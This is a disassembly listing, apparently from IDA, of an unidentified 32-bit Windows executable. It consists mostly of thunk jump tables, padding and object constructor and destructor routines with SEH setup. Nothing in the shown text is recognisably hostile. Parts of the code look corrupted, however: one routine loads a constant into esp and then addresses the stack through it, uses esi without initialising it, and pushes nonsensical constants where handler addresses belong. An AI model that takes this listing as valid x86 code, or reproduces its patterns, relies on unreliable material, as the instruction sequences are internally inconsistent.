; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EAB	proc near		; CODE XREF: sub_404260+2CEp
					; sub_404890+472p ...
		jmp	sub_40A1D0
sub_401EAB	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E2A0
; ---------------------------------------------------------------------------
		jmp	sub_419A70

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EBA	proc near		; CODE XREF: sub_420A40+Ap
		jmp	sub_420D20
sub_401EBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EBF	proc near		; CODE XREF: sub_403BE0+454p
					; sub_404890+7EAp ...
		jmp	sub_41A020
sub_401EBF	endp

; ---------------------------------------------------------------------------


loc_401EC4:				; DATA XREF: _8C6BDE73:off_437014o
		jmp	loc_40A940

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EC9	proc near		; CODE XREF: _294ADE7B:0040A943p
					; sub_4114E0+13Ep ...
		jmp	sub_40A970
sub_401EC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401ECE	proc near		; CODE XREF: sub_422F30+109p
					; sub_422F30+178p ...
		jmp	sub_422E10
sub_401ECE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401ED3	proc near		; CODE XREF: sub_409440+7p
		jmp	sub_409530
sub_401ED3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401ED8	proc near		; CODE XREF: sub_4153F0+Ap
		jmp	sub_415600
sub_401ED8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EDD	proc near		; CODE XREF: _294ADE7B:0042A08Bp
					; sub_42AF70+EAp
		jmp	sub_42E1B0
sub_401EDD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EE2	proc near		; CODE XREF: sub_420030+5p
					; sub_420120+6p ...
		jmp	sub_4205C0
sub_401EE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EE7	proc near		; CODE XREF: sub_40EB00+8ADp
					; sub_40EB00+95Ep ...
		jmp	sub_411820
sub_401EE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EEC	proc near		; CODE XREF: sub_40BBA0+7p
		jmp	sub_40BD90
sub_401EEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EF1	proc near		; CODE XREF: sub_416F30+34p
					; sub_417550+67p
		jmp	sub_417360
sub_401EF1	endp

; ---------------------------------------------------------------------------
		jmp	loc_409670

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EFB	proc near		; CODE XREF: sub_415B70+2Bp
					; sub_415B70+3Bp ...
		jmp	sub_403B00
sub_401EFB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F00	proc near		; CODE XREF: sub_409330+14p
		jmp	sub_409390
sub_401F00	endp

; ---------------------------------------------------------------------------
		jmp	loc_42D170
; ---------------------------------------------------------------------------
		jmp	sub_426860

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F0F	proc near		; CODE XREF: sub_416980+4Dp
		jmp	sub_417060
sub_401F0F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F14	proc near		; CODE XREF: sub_413EF0+5p
					; sub_4140A0+6p ...
		jmp	sub_414A70
sub_401F14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F19	proc near		; CODE XREF: sub_426860+3p
		jmp	sub_426890
sub_401F19	endp

; ---------------------------------------------------------------------------
		jmp	loc_419790
; ---------------------------------------------------------------------------
		jmp	loc_41FBF0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F28	proc near		; CODE XREF: _294ADE7B:0041591Fp
		jmp	sub_406CE0
sub_401F28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F2D	proc near		; CODE XREF: sub_412400+83p
					; sub_413260+91p ...
		jmp	sub_4140A0
sub_401F2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F32	proc near		; DATA XREF: _8C6BDE73:00437060o
		jmp	sub_41D500
sub_401F32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F37	proc near		; CODE XREF: sub_40A550+144p
		jmp	sub_40A860
sub_401F37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F3C	proc near		; CODE XREF: sub_42B0F0+BAp
					; sub_42DB20+36p
		jmp	sub_42DB90
sub_401F3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F41	proc near		; CODE XREF: sub_4204C0+23p
					; sub_420910+11p
		jmp	sub_420AB0
sub_401F41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F46	proc near		; CODE XREF: sub_4207B0+4p
		jmp	sub_420BC0
sub_401F46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F4B	proc near		; CODE XREF: _294ADE7B:004188E2p
		jmp	sub_418980
sub_401F4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F50	proc near		; CODE XREF: sub_4154F0+Ap
		jmp	sub_415650
sub_401F50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F55	proc near		; CODE XREF: sub_414A00+4p
		jmp	sub_415220
sub_401F55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F5A	proc near		; CODE XREF: sub_42A620+36p
					; sub_42A690+28p ...
		jmp	sub_42E960
sub_401F5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F5F	proc near		; CODE XREF: sub_4173E0+8p
		jmp	sub_417680
sub_401F5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F64	proc near		; CODE XREF: sub_416E80+34p
					; sub_417440+67p
		jmp	sub_417260
sub_401F64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F69	proc near		; CODE XREF: sub_418DA0+117p
		jmp	sub_419CC0
sub_401F69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F6E	proc near		; CODE XREF: sub_414830+35p
		jmp	sub_415300
sub_401F6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F73	proc near		; CODE XREF: sub_404890+45Cp
					; sub_406300+43p ...
		jmp	sub_409720
sub_401F73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F78	proc near		; CODE XREF: sub_40B880+5p
					; sub_40B9C0+6p ...
		jmp	sub_40BBC0
sub_401F78	endp

; ---------------------------------------------------------------------------
		jmp	loc_42A750

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F82	proc near		; CODE XREF: _294ADE7B:004159FAp
		jmp	sub_417770
sub_401F82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F87	proc near		; CODE XREF: sub_40EB00+F3Dp
					; sub_40EB00+1392p ...
		jmp	sub_413560
sub_401F87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F8C	proc near		; CODE XREF: sub_412740+38p
					; sub_412B30+5Fp
		jmp	sub_4122A0
sub_401F8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F91	proc near		; CODE XREF: sub_409C90+14p
					; sub_409CC0+7p ...
		jmp	sub_409CE0
sub_401F91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F96	proc near		; CODE XREF: sub_40A740+1Ap
					; sub_40A790+1Ap
		jmp	sub_40A800
sub_401F96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F9B	proc near		; CODE XREF: sub_414390+3p
					; sub_414B60+4Fp ...
		jmp	sub_414DE0
sub_401F9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FA0	proc near		; DATA XREF: _8C6BDE73:0043702Co
		jmp	sub_40EB00
sub_401FA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FA5	proc near		; CODE XREF: sub_413560+EDp
		jmp	sub_4145C0
sub_401FA5	endp

; ---------------------------------------------------------------------------
		jmp	loc_419A30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FAF	proc near		; CODE XREF: sub_40B980+3p
		jmp	sub_40BC00
sub_401FAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FB4	proc near		; CODE XREF: sub_40BA20+11p
					; sub_40BA20+27p ...
		jmp	sub_40BD40
sub_401FB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FB9	proc near		; CODE XREF: sub_41CC30+2C5p
		jmp	sub_41EDB0
sub_401FB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FBE	proc near		; CODE XREF: sub_41BE00+652p
		jmp	sub_41A740
sub_401FBE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FC3	proc near		; CODE XREF: sub_417280+32p
		jmp	sub_417550
sub_401FC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FC8	proc near		; CODE XREF: sub_40D9C0+ACp
					; _294ADE7B:0040E0EDp
		jmp	sub_40DB00
sub_401FC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FCD	proc near		; CODE XREF: sub_412570+93p
		jmp	sub_42EBA0
sub_401FCD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FD2	proc near		; CODE XREF: sub_413F60+1Fp
					; sub_414830+2Cp
		jmp	sub_414790
sub_401FD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FD7	proc near		; CODE XREF: _294ADE7B:0042507Dp
		jmp	sub_425040
sub_401FD7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FDC	proc near		; CODE XREF: sub_41EB00+17Dp
		jmp	sub_4200A0
sub_401FDC	endp

; ---------------------------------------------------------------------------


loc_401FE1:				; DATA XREF: _8C6BDE73:off_437010o
		jmp	loc_409670

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FE6	proc near		; CODE XREF: sub_40A550+6Ap
					; sub_40A550+103p
		jmp	sub_40A790
sub_401FE6	endp

; ---------------------------------------------------------------------------
		jmp	loc_424BF0
; ---------------------------------------------------------------------------
		jmp	loc_426D10
; ---------------------------------------------------------------------------
		jmp	loc_4192A0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FFA	proc near		; CODE XREF: sub_406ED0+16p
					; sub_406F10+Bp ...
		jmp	sub_407170
sub_401FFA	endp

; ---------------------------------------------------------------------------
		jmp	loc_417180

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402004	proc near		; CODE XREF: sub_40AB60+1Bp
		jmp	sub_42DC70
sub_402004	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402009	proc near		; CODE XREF: sub_414790+5Ap
		jmp	sub_415270
sub_402009	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40200E	proc near		; CODE XREF: sub_42A850+ABp
					; sub_42B830+1Bp ...
		jmp	sub_42B8A0
sub_40200E	endp

; ---------------------------------------------------------------------------
		jmp	loc_429C30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402018	proc near		; CODE XREF: sub_407E8F+44Dp
					; sub_407E8F+472p ...
		jmp	sub_417F90
sub_402018	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40201D	proc near		; CODE XREF: sub_40B080+55p
		jmp	sub_409B30
sub_40201D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402022	proc near		; CODE XREF: sub_4201C0+34p
					; sub_420AE0+67p
		jmp	sub_420800
sub_402022	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402027	proc near		; CODE XREF: sub_406DA0+2Cp
					; sub_406DA0+68p ...
		jmp	sub_406F10
sub_402027	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E570

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402031	proc near		; CODE XREF: sub_41ACE0+1B3p
					; sub_41ACE0+332p ...
		jmp	sub_41BD40
sub_402031	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402036	proc near		; CODE XREF: sub_40B7D0+11p
					; sub_40BA20+1Fp
		jmp	sub_40BB50
sub_402036	endp

; ---------------------------------------------------------------------------
		jmp	loc_42A790

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402040	proc near		; CODE XREF: sub_422CE0+1Ap
					; sub_422DC0+1Bp ...
		jmp	sub_422B10
sub_402040	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402045	proc near		; CODE XREF: _294ADE7B:0041574Bp
		jmp	sub_416F30
sub_402045	endp

; ---------------------------------------------------------------------------
		jmp	loc_429E20
; ---------------------------------------------------------------------------
		jmp	loc_429FB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402054	proc near		; CODE XREF: sub_42E2E0+1Bp
		jmp	sub_42E350
sub_402054	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402059	proc near		; CODE XREF: sub_4295A0+101p
		jmp	sub_428EF0
sub_402059	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40205E	proc near		; DATA XREF: _8C6BDE73:off_43700Co
		jmp	sub_406E70
sub_40205E	endp

; ---------------------------------------------------------------------------
		jmp	loc_429470
; ---------------------------------------------------------------------------
		jmp	locret_416E30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40206D	proc near		; CODE XREF: sub_403360+25p
					; sub_403360+35p ...
		jmp	sub_4038B0
sub_40206D	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E280

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402077	proc near		; CODE XREF: sub_416980+88p
					; sub_416980+98p
		jmp	sub_417080
sub_402077	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40207C	proc near		; CODE XREF: _294ADE7B:004157EBp
					; _294ADE7B:0043392Cj ...
		jmp	sub_4162D0
sub_40207C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402081	proc near		; CODE XREF: sub_4170D0+5p
		jmp	sub_417410
sub_402081	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402086	proc near		; CODE XREF: sub_4133D0+3p
		jmp	sub_413400
sub_402086	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40208B	proc near		; CODE XREF: sub_42A250+1Fp
					; _294ADE7B:0042A32Fp ...
		jmp	sub_42BC70
sub_40208B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402090	proc near		; CODE XREF: sub_42A9E0+102p
					; sub_42C8D0+5Dp ...
		jmp	sub_42B9B0
sub_402090	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402095	proc near		; CODE XREF: sub_4122A0+5Cp
					; sub_4122A0+C0p ...
		jmp	sub_4141F0
sub_402095	endp

; ---------------------------------------------------------------------------
		jmp	loc_42C5B0
; ---------------------------------------------------------------------------
		jmp	loc_42A310

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020A4	proc near		; CODE XREF: sub_41BE00+203p
		jmp	sub_428270
sub_4020A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020A9	proc near		; CODE XREF: sub_4295A0+148p
					; sub_4295A0+173p
		jmp	sub_428E10
sub_4020A9	endp

; ---------------------------------------------------------------------------
		jmp	loc_429340

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020B3	proc near		; CODE XREF: sub_412160+34p
					; sub_413560+40p
		jmp	sub_414680
sub_4020B3	endp

; ---------------------------------------------------------------------------
		jmp	loc_4293C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020BD	proc near		; CODE XREF: sub_421170+93Dp
		jmp	loc_422690
sub_4020BD	endp

; ---------------------------------------------------------------------------
		jmp	loc_418160
; ---------------------------------------------------------------------------
		db 0CEAh dup(0CCh)
byte_402DB1	db 0EFh	dup(0CCh)	; DATA XREF: sub_40DD20+5o
byte_402EA0	db 2F0h	dup(0CCh)	; DATA XREF: sub_4068E0+DDo

; =============== S U B	R O U T	I N E =======================================



sub_403190	proc near		; CODE XREF: sub_4018DEj

var_46C		= dword	ptr -46Ch
var_468		= byte ptr -468h
var_450		= byte ptr -450h
var_438		= byte ptr -438h
var_420		= byte ptr -420h
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	5AE931h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 460h
		mov	eax, [esp+46Ch+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+478h+var_408], eax
		mov	eax, [esp+478h+arg_8]
		xor	edi, edi
		mov	esp, 0EAB5D2h
		cmp	eax, edi
		mov	[esp+478h+var_46C], edi
		jz	short loc_4031E9
		lea	edx, [esp+478h+arg_8]
		lea	ecx, [esp+478h+var_404]


loc_4031DA:				; CODE XREF: sub_403190+57j
		add	edx, 4
		mov	[ecx], eax
		inc	esi
		add	ecx, 4
		mov	eax, [edx]
		cmp	eax, edi
		jnz	short loc_4031DA


loc_4031E9:				; CODE XREF: sub_403190+3Dj
		lea	ecx, [esp+478h+var_468]
		mov	[esp+esi*4+478h+var_408], edi
		call	sub_4013CF
		push	755AE9h
		lea	ecx, [esp+47Ch+var_438]
		mov	[esp+47Ch+var_4], 1
		call	sub_4017A8
		push	3AAD74h
		lea	ecx, [esp+47Ch+var_468]
		mov	byte ptr [esp+47Ch+var_4], 2
		call	sub_4019A1
		push	1D56BAh
		lea	ecx, [esp+47Ch+var_450]
		call	sub_4017A8
		mov	byte ptr [esp+478h+var_4], 3
		xor	esi, esi
		lea	edi, [esp+478h+var_408]


loc_403241:				; CODE XREF: sub_403190+105j
		mov	ebp, [edi]
		test	ebp, ebp
		jz	short loc_403297
		lea	ecx, [esp+478h+var_438]
		call	sub_4015F5
		dec	ebp
		push	eax
		lea	ecx, [esp+47Ch+var_420]
		push	ebp
		push	ecx
		lea	ecx, [esp+484h+var_468]
		call	sub_401622
		mov	ecx, eax
		mov	byte ptr [esp+478h+var_4], 4
		call	sub_401726
		push	eax
		lea	ecx, [esp+47Ch+var_450]
		call	sub_4019BA
		lea	ecx, [esp+478h+var_420]
		mov	byte ptr [esp+478h+var_4], 3
		call	sub_4011F9
		inc	esi
		add	edi, 4
		cmp	esi, 0FFh
		jb	short loc_403241


loc_403297:				; CODE XREF: sub_403190+B5j
		mov	esi, [esp+478h+arg_0]
		lea	edx, [esp+478h+var_450]
		push	edx
		mov	ecx, esi
		call	sub_40146F
		mov	[esp+478h+var_46C], 1
		lea	ecx, [esp+478h+var_450]
		mov	byte ptr [esp+478h+var_4], 2
		call	sub_4011F9
		lea	ecx, [esp+478h+var_438]
		mov	byte ptr [esp+478h+var_4], 1
		call	sub_4011F9
		lea	ecx, [esp+478h+var_468]
		mov	byte ptr [esp+478h+var_4], 0
		call	sub_4011F9
		mov	ecx, [esp+478h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 46Ch
		retn
sub_403190	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403360	proc near		; CODE XREF: sub_401267j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	0EAB5Dh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401190
		lea	ecx, [esi+9]
		call	sub_40206D
		lea	ecx, [esi+52h]
		mov	[esp+14h+var_4], 0
		call	sub_40206D
		lea	ecx, [esi+9Bh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40206D
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40206D
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40206D
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40206D
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40206D
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_40206D
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_40206D
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_40206D
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_40206D
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_40206D
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_40206D
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_40206D
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_40206D
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_40206D
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_40206D
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_40206D
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_40206D
		mov	byte ptr [esp+14h+var_4], 12h
		lea	ecx, [esi+574h]
		call	sub_40206D
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_40206D
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_40206D
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_40206D
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_40206D
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_40206D
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_40206D
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_40206D
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_40206D
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_40206D
		lea	ecx, [esi+84Eh]
		mov	byte ptr [esp+14h+var_4], 1Ch
		call	sub_40206D
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_40206D
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_40206D
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_40206D
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_40206D
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_40206D
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_40206D
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_40206D
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_40206D
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_40206D
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_40206D
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_4016A9
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_4016A9
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_4016A9
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_4016A9
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_4016A9
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_4016A9
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_4016A9
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_4016A9
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_4016A9
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_4016A9
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_4016A9
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_4016A9
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_4016A9
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_4016A9
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_4016A9
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_4016A9
		lea	ecx, [esi+0E51h]
		mov	byte ptr [esp+14h+var_4], 37h
		call	sub_4016A9
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_401181
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_401181
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_401181
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_401181
		lea	ecx, [esi+179Fh]
		mov	byte ptr [esp+14h+var_4], 3Ch
		call	sub_401181
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_437000
		mov	byte ptr [esi+4], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403360	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403890	proc near		; CODE XREF: sub_401190j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_437004
		retn
sub_403890	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4038B0	proc near		; CODE XREF: sub_40206Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4038B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4013CF
		lea	ecx, [esi+1Eh]
		mov	[esp+14h+var_4], 0
		call	sub_4013CF
		lea	ecx, [esi+33h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_4013CF
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4038B0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403930	proc near		; CODE XREF: sub_4019F1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	63AAD7h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+33h]
		mov	[esp+14h+var_4], 1
		call	sub_4011F9
		lea	ecx, [esi+1Eh]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_4011F9
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403930	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4039B0	proc near		; CODE XREF: sub_4016A9j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	31D56Bh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4013CF
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_4013CF
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4039B0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403A20	proc near		; CODE XREF: sub_401181j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
